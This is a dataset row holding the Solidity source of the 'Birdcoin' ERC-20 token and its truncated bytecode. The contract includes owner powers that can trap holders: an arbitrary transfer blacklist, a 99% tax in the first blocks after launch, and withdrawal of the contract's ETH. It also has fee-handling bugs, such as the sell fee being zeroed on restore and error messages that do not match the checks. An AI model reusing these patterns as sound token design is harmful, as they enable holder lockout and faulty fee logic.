address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x74e60e367a4c888964c61ec5908af202dd8486f4
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Birdcoin is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cooldown;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
string private constant _name = "Birdcoin";
string private constant _symbol = "BIRDS";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1e18 * (10**_decimals);
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private tradingActiveBlock = 0;
uint256 private blocksToBlacklist = 3;
uint256 private _buyProjectFee = 3;
uint256 private _previousBuyProjectFee = _buyProjectFee;
uint256 private _buyLiquidityFee = 1;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _bDF = 1;
uint256 private _previousBDF = _bDF;
uint256 private _sellProjectFee = 3;
uint256 private _previousSellProjectFee = _sellProjectFee;
uint256 private _sellLiquidityFee = 1;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sDF = 1;
uint256 private _previousSDF = _sDF;
uint256 private tokensForProject;
uint256 private tokensForLiquidity;
uint256 private tokensForD;
uint256 private swapTokensAtAmount = 0;
address payable private _projectWallet;
address payable private _liquidityWallet;
address payable private _dvWllt;
address private uniswapV2Pair;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address projectWallet, address liquidityWallet, address dvWllt) {
_projectWallet = payable(projectWallet);
_liquidityWallet = payable(liquidityWallet);
_dvWllt = payable(dvWllt);
_rOwned[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_projectWallet] = true;
_isExcludedFromFee[_liquidityWallet] = true;
_isExcludedFromFee[_dvWllt] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _rOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setSwapEnabled(bool onoff) external onlyOwner(){
swapEnabled = onoff;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
bool shouldSwap = false;
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
require(!bots[from] && !bots[to]);
if (cooldownEnabled){
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(cooldown[tx.origin] < block.number - 1 && cooldown[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
cooldown[tx.origin] = block.number;
cooldown[to] = block.number;
}
}
takeFee = true;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading is not allowed yet.");
require(amount <= _maxBuyAmount, "Transfer amount exceeds the maxBuyAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from]) {
require(tradingOpen, "Trading is not allowed yet.");
require(amount <= _maxSellAmount, "Transfer amount exceeds the maxSellAmount.");
shouldSwap = true;
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = (contractTokenBalance > swapTokensAtAmount) && shouldSwap;
if (canSwap && swapEnabled && !swapping && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapping = true;
swapBack();
swapping = false;
}
_tokenTransfer(from,to,amount,takeFee, shouldSwap);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForProject + tokensForD;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 3) {
contractBalance = swapTokensAtAmount * 3;
}
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForProject = ethBalance.mul(tokensForProject).div(totalTokensToSwap);
uint256 ethForD = ethBalance.mul(tokensForD).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForProject - ethForD;
tokensForLiquidity = 0;
tokensForProject = 0;
tokensForD = 0;
(success,) = address(_dvWllt).call{value: ethForD}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(_projectWallet).call{value: address(this).balance}("");
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
_liquidityWallet,
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_projectWallet.transfer(amount.div(2));
_dvWllt.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxBuyAmount = 5e15 * (10**_decimals);
_maxSellAmount = 3e15 * (10**_decimals);
_maxWalletAmount = 2e16 * (10**_decimals);
swapTokensAtAmount = 1e14 * (10**_decimals);
tradingOpen = true;
tradingActiveBlock = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
require(maxBuy >= 1e14 * (10**_decimals), "Max buy amount cannot be lower than 0.01% total supply.");
_maxBuyAmount = maxBuy;
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
require(maxSell >= 1e14 * (10**_decimals), "Max sell amount cannot be lower than 0.01% total supply.");
_maxSellAmount = maxSell;
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
require(maxToken >= 1e15 * (10**_decimals), "Max wallet amount cannot be lower than 0.1% total supply.");
_maxWalletAmount = maxToken;
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
require(newAmount >= 1e13 * (10**_decimals), "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= 5e15 * (10**_decimals), "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
}
function setProjectWallet(address projectWallet) public onlyOwner() {
require(projectWallet != address(0), "projectWallet address cannot be 0");
_isExcludedFromFee[_projectWallet] = false;
_projectWallet = payable(projectWallet);
_isExcludedFromFee[_projectWallet] = true;
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
require(liquidityWallet != address(0), "liquidityWallet address cannot be 0");
_isExcludedFromFee[_liquidityWallet] = false;
_liquidityWallet = payable(liquidityWallet);
_isExcludedFromFee[_liquidityWallet] = true;
}
function setExcludedFromFees(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = exempt;
}
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
bots[accounts[i]] = exempt;
}
}
function setBuyFee(uint256 buyProjectFee, uint256 buyLiquidityFee, uint256 buyDF) external onlyOwner {
require(buyProjectFee + buyLiquidityFee + buyDF <= 10, "Must keep buy taxes below 30%");
_buyProjectFee = buyProjectFee;
_buyLiquidityFee = buyLiquidityFee;
_bDF = buyDF;
}
function setSellFee(uint256 sellProjectFee, uint256 sellLiquidityFee, uint256 sellDF) external onlyOwner {
require(sellProjectFee + sellLiquidityFee + sellDF <= 20, "Must keep sell taxes below 30%");
_sellProjectFee = sellProjectFee;
_sellLiquidityFee = sellLiquidityFee;
_sDF = sellDF;
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
blocksToBlacklist = blocks;
}
function removeAllFee() private {
if(_buyProjectFee == 0 && _buyLiquidityFee == 0 && _bDF == 0 && _sellProjectFee == 0 && _sellLiquidityFee == 0 && _sDF == 0) return;
_previousBuyProjectFee = _buyProjectFee;
_previousBuyLiquidityFee = _buyLiquidityFee;
_previousBDF = _bDF;
_previousSellProjectFee = _sellProjectFee;
_previousSellLiquidityFee = _sellLiquidityFee;
_previousSDF = _sDF;
_buyProjectFee = 0;
_buyLiquidityFee = 0;
_bDF = 0;
_sellProjectFee = 0;
_sellLiquidityFee = 0;
}
function restoreAllFee() private {
_buyProjectFee = _previousBuyProjectFee;
_buyLiquidityFee = _previousBuyLiquidityFee;
_sellProjectFee = _previousSellProjectFee;
_sellLiquidityFee = _previousSellLiquidityFee;
_sDF = 0;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
if(!takeFee) {
removeAllFee();
} else {
amount = _takeFees(sender, amount, isSell);
}
_transferStandard(sender, recipient, amount);
if(!takeFee) {
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
_rOwned[sender] = _rOwned[sender].sub(tAmount);
_rOwned[recipient] = _rOwned[recipient].add(tAmount);
emit Transfer(sender, recipient, tAmount);
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
uint256 _totalFees;
uint256 pjctFee;
uint256 liqFee;
uint256 dF;
if(tradingActiveBlock + blocksToBlacklist >= block.number){
_totalFees = 99;
pjctFee = 33;
liqFee = 33;
dF = 33;
} else {
_totalFees = _getTotalFees(isSell);
if (isSell) {
pjctFee = _sellProjectFee;
liqFee = _sellLiquidityFee;
dF = _sDF;
} else {
pjctFee = _buyProjectFee;
liqFee = _buyLiquidityFee;
dF = _bDF;
}
}
uint256 fees = amount.mul(_totalFees).div(100);
tokensForProject += fees * pjctFee / _totalFees;
tokensForLiquidity += fees * liqFee / _totalFees;
tokensForD += fees * dF / _totalFees;
if(fees > 0) {
_transferStandard(sender, address(this), fees);
}
return amount -= fees;
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _dvWllt);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _dvWllt);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function _getTotalFees(bool isSell) private view returns(uint256) {
if (isSell) {
return _sellProjectFee + _sellLiquidityFee + _sDF;
}
return _buyProjectFee + _buyLiquidityFee + _bDF;
}
}
|
0x6080604052600436106101bb5760003560e01c80638a780447116100ec578063c9567bf91161008a578063e6f7ef4d11610064578063e6f7ef4d14610521578063e99c9d0914610541578063f34eb0b814610561578063f5648a4f1461058157600080fd5b8063c9567bf9146104a6578063dd62ed3e146104bb578063e01af92c1461050157600080fd5b80639c0db5f3116100c65780639c0db5f314610431578063a9059cbb14610451578063afa4f3b214610471578063c3c8cd801461049157600080fd5b80638a780447146103bb5780638da5cb5b146103db57806395d89b411461040357600080fd5b806327a14fc2116101595780635932ead1116101335780635932ead11461033b5780636fc3eaec1461035b57806370a0823114610370578063715018a6146103a657600080fd5b806327a14fc2146102df578063296f0a0c146102ff578063313ce5671461031f57600080fd5b806318160ddd1161019557806318160ddd1461025c5780631d865c301461027f57806323b872dd1461029f57806325519cf2146102bf57600080fd5b806306fdde03146101c7578063095ea7b31461020a578063105222f91461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260088152672134b93231b7b4b760c11b60208201525b604051610201919061257e565b60405180910390f35b34801561021657600080fd5b5061022a6102253660046125f8565b610596565b6040519015158152602001610201565b34801561024657600080fd5b5061025a610255366004612653565b6105ad565b005b34801561026857600080fd5b5061027161064c565b604051908152602001610201565b34801561028b57600080fd5b5061025a61029a36600461272a565b610671565b3480156102ab57600080fd5b5061022a6102ba366004612756565b61070e565b3480156102cb57600080fd5b5061025a6102da36600461272a565b610777565b3480156102eb57600080fd5b5061025a6102fa366004612797565b610814565b34801561030b57600080fd5b5061025a61031a3660046127b0565b6108d5565b34801561032b57600080fd5b5060405160098152602001610201565b34801561034757600080fd5b5061025a6103563660046127cd565b6109b1565b34801561036757600080fd5b5061025a6109fb565b34801561037c57600080fd5b5061027161038b3660046127b0565b6001600160a01b031660009081526004602052604090205490565b3480156103b257600080fd5b5061025a610a28565b3480156103c757600080fd5b5061025a6103d63660046127b0565b610a9c565b3480156103e757600080fd5b506000546040516001600160a01b039091168152602001610201565b34801561040f57600080fd5b50604080518082019091526005815264424952445360d81b60208201526101f4565b34801561043d57600080fd5b5061025a61044c366004612653565b610b76565b34801561045d57600080fd5b5061022a61046c3660046125f8565b610c07565b34801561047d57600080fd5b5061025a61048c366004612797565b610c14565b34801561049d57600080fd5b5061025a610d55565b3480156104b257600080fd5b5061025a610d8e565b3480156104c757600080fd5b506102716104d63660046127ea565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561050d57600080fd5b5061025a61051c3660046127cd565b611186565b34801561052d57600080fd5b5061025a61053c366004612797565b6111ce565b34801561054d57600080fd5b5061025a61055c366004612797565b6111fd565b34801561056d57600080fd5b5061025a61057c366004612797565b6112bd565b34801561058d57600080fd5b5061025a61137d565b60006105a33384846113f4565b5060015b92915050565b6000546001600160a01b031633146105e05760405162461bcd60e51b81526004016105d790612823565b60405180910390fd5b60005b825181101561064757816006600085848151811061060357610603612858565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063f81612884565b9150506105e3565b505050565b600061065a6009600a612981565b61066c90670de0b6b3a7640000612990565b905090565b6000546001600160a01b0316331461069b5760405162461bcd60e51b81526004016105d790612823565b6014816106a884866129af565b6106b291906129af565b11156107005760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b6565702073656c6c2074617865732062656c6f7720333025000060448201526064016105d7565b601492909255601655601855565b600061071b848484611519565b61076d843361076885604051806060016040528060288152602001612b15602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611bf5565b6113f4565b5060019392505050565b6000546001600160a01b031633146107a15760405162461bcd60e51b81526004016105d790612823565b600a816107ae84866129af565b6107b891906129af565b11156108065760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772033302500000060448201526064016105d7565b600e92909255601055601255565b6000546001600160a01b0316331461083e5760405162461bcd60e51b81526004016105d790612823565b61084a6009600a612981565b61085b9066038d7ea4c68000612990565b8110156108d05760405162461bcd60e51b815260206004820152603960248201527f4d61782077616c6c657420616d6f756e742063616e6e6f74206265206c6f776560448201527f72207468616e20302e312520746f74616c20737570706c792e0000000000000060648201526084016105d7565b600b55565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016105d790612823565b6001600160a01b0381166109615760405162461bcd60e51b815260206004820152602360248201527f6c697175696469747957616c6c657420616464726573732063616e6e6f74206260448201526206520360ec1b60648201526084016105d7565b601f80546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146109db5760405162461bcd60e51b81526004016105d790612823565b600880549115156401000000000264ff0000000019909216919091179055565b6020546001600160a01b0316336001600160a01b031614610a1b57600080fd5b47610a2581611c2f565b50565b6000546001600160a01b03163314610a525760405162461bcd60e51b81526004016105d790612823565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac65760405162461bcd60e51b81526004016105d790612823565b6001600160a01b038116610b265760405162461bcd60e51b815260206004820152602160248201527f70726f6a65637457616c6c657420616464726573732063616e6e6f74206265206044820152600360fc1b60648201526084016105d7565b601e80546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b03163314610ba05760405162461bcd60e51b81526004016105d790612823565b60005b8251811015610647578160076000858481518110610bc357610bc3612858565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610bff81612884565b915050610ba3565b60006105a3338484611519565b6000546001600160a01b03163314610c3e5760405162461bcd60e51b81526004016105d790612823565b610c4a6009600a612981565b610c5a906509184e72a000612990565b811015610cc75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b60648201526084016105d7565b610cd36009600a612981565b610ce4906611c37937e08000612990565b811115610d505760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b60648201526084016105d7565b601d55565b6020546001600160a01b0316336001600160a01b031614610d7557600080fd5b30600090815260046020526040902054610a2581611cb4565b6000546001600160a01b03163314610db85760405162461bcd60e51b81526004016105d790612823565b60085460ff1615610e0b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105d7565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e573082610e456009600a612981565b61076890670de0b6b3a7640000612990565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb991906129c7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a91906129c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9b91906129c7565b602180546001600160a01b039283166001600160a01b03199091161790556002541663f305d7194730610fe3816001600160a01b031660009081526004602052604090205490565b600080610ff86000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161101a969594939291906129e4565b60606040518083038185885af1158015611038573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105d9190612a1f565b50506008805464ffff0000001916640101000000179055506110816009600a612981565b611092906611c37937e08000612990565b60099081556110a290600a612981565b6110b390660aa87bee538000612990565b600a9081556110c490600990612981565b6110d59066470de4df820000612990565b600b556110e46009600a612981565b6110f490655af3107a4000612990565b601d556008805460ff1916600117905543600c5560215460025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801561115e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111829190612a4d565b5050565b6000546001600160a01b031633146111b05760405162461bcd60e51b81526004016105d790612823565b6008805491151563010000000263ff00000019909216919091179055565b6000546001600160a01b031633146111f85760405162461bcd60e51b81526004016105d790612823565b600d55565b6000546001600160a01b031633146112275760405162461bcd60e51b81526004016105d790612823565b6112336009600a612981565b61124390655af3107a4000612990565b8110156112b85760405162461bcd60e51b815260206004820152603860248201527f4d61782073656c6c20616d6f756e742063616e6e6f74206265206c6f7765722060448201527f7468616e20302e30312520746f74616c20737570706c792e000000000000000060648201526084016105d7565b600a55565b6000546001600160a01b031633146112e75760405162461bcd60e51b81526004016105d790612823565b6112f36009600a612981565b61130390655af3107a4000612990565b8110156113785760405162461bcd60e51b815260206004820152603760248201527f4d61782062757920616d6f756e742063616e6e6f74206265206c6f776572207460448201527f68616e20302e30312520746f74616c20737570706c792e00000000000000000060648201526084016105d7565b600955565b6000546001600160a01b031633146113a75760405162461bcd60e51b81526004016105d790612823565b604051600090339047908381818185875af1925050503d80600081146113e9576040519150601f19603f3d011682016040523d82523d6000602084013e6113ee565b606091505b50505050565b6001600160a01b0383166114565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d7565b6001600160a01b0382166114b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d7565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661157d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d7565b6001600160a01b0382166115df5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d7565b600081116116415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d7565b6000806116566000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561168557506000546001600160a01b03858116911614155b801561169957506001600160a01b03841615155b80156116b057506001600160a01b03841661dead14155b80156116c45750600854610100900460ff16155b15611ad6576001600160a01b03851660009081526007602052604090205460ff1615801561170b57506001600160a01b03841660009081526007602052604090205460ff16155b61171457600080fd5b600854640100000000900460ff1615611830576002546001600160a01b0385811691161480159061175357506021546001600160a01b03858116911614155b1561183057611763600143612a6a565b326000908152600360205260409020541080156117a15750611786600143612a6a565b6001600160a01b038516600090815260036020526040902054105b61180b5760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016105d7565b3260009081526003602052604080822043908190556001600160a01b03871683529120555b602154600192506001600160a01b03868116911614801561185f57506002546001600160a01b03858116911614155b801561188457506001600160a01b03841660009081526006602052604090205460ff16155b156119c65760085460ff166118db5760405162461bcd60e51b815260206004820152601b60248201527f54726164696e67206973206e6f7420616c6c6f776564207965742e000000000060448201526064016105d7565b60095483111561193f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178426044820152683abca0b6b7bab73a1760b91b60648201526084016105d7565b600b5483611962866001600160a01b031660009081526004602052604090205490565b61196c91906129af565b11156119c65760405162461bcd60e51b8152602060048201526024808201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152633ab73a1760e11b60648201526084016105d7565b6021546001600160a01b0385811691161480156119f157506002546001600160a01b03868116911614155b8015611a1657506001600160a01b03851660009081526006602052604090205460ff16155b15611ad65760085460ff16611a6d5760405162461bcd60e51b815260206004820152601b60248201527f54726164696e67206973206e6f7420616c6c6f776564207965742e000000000060448201526064016105d7565b600a54831115611ad25760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785360448201526932b63620b6b7bab73a1760b11b60648201526084016105d7565b5060015b6001600160a01b03851660009081526006602052604090205460ff1680611b1557506001600160a01b03841660009081526006602052604090205460ff165b15611b1f57600091505b3060009081526004602052604081205490506000601d5482118015611b415750825b9050808015611b5957506008546301000000900460ff165b8015611b6d5750600854610100900460ff16155b8015611b9257506001600160a01b03871660009081526006602052604090205460ff16155b8015611bb757506001600160a01b03861660009081526006602052604090205460ff16155b15611bdf576008805461ff001916610100179055611bd3611e2b565b6008805461ff00191690555b611bec878787878761206b565b50505050505050565b60008184841115611c195760405162461bcd60e51b81526004016105d7919061257e565b506000611c268486612a6a565b95945050505050565b601e546001600160a01b03166108fc611c498360026120c4565b6040518115909202916000818181858888f19350505050158015611c71573d6000803e3d6000fd5b506020546001600160a01b03166108fc611c8c8360026120c4565b6040518115909202916000818181858888f19350505050158015611182573d6000803e3d6000fd5b6008805462ff00001916620100001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611cfa57611cfa612858565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611d53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d7791906129c7565b81600181518110611d8a57611d8a612858565b6001600160a01b039283166020918202929092010152600254611db091309116846113f4565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611de9908590600090869030904290600401612a81565b600060405180830381600087803b158015611e0357600080fd5b505af1158015611e17573d6000803e3d6000fd5b50506008805462ff00001916905550505050565b3060009081526004602052604081205490506000601c54601a54601b54611e5291906129af565b611e5c91906129af565b90506000821580611e6b575081155b15611e7557505050565b601d54611e83906003612990565b831115611e9b57601d54611e98906003612990565b92505b6000600283601b5486611eae9190612990565b611eb89190612af2565b611ec29190612af2565b90506000611ed0858361210d565b905047611edc82611cb4565b6000611ee8478361210d565b90506000611f0b87611f05601a548561214f90919063ffffffff16565b906120c4565b90506000611f2888611f05601c548661214f90919063ffffffff16565b9050600081611f378486612a6a565b611f419190612a6a565b6000601b819055601a819055601c8190556020546040519293506001600160a01b031691849181818185875af1925050503d8060008114611f9e576040519150601f19603f3d011682016040523d82523d6000602084013e611fa3565b606091505b50909850508615801590611fb75750600081115b1561200a57611fc687826121d1565b601b54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b601e546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612057576040519150601f19603f3d011682016040523d82523d6000602084013e61205c565b606091505b50505050505050505050505050565b8161207d5761207861226c56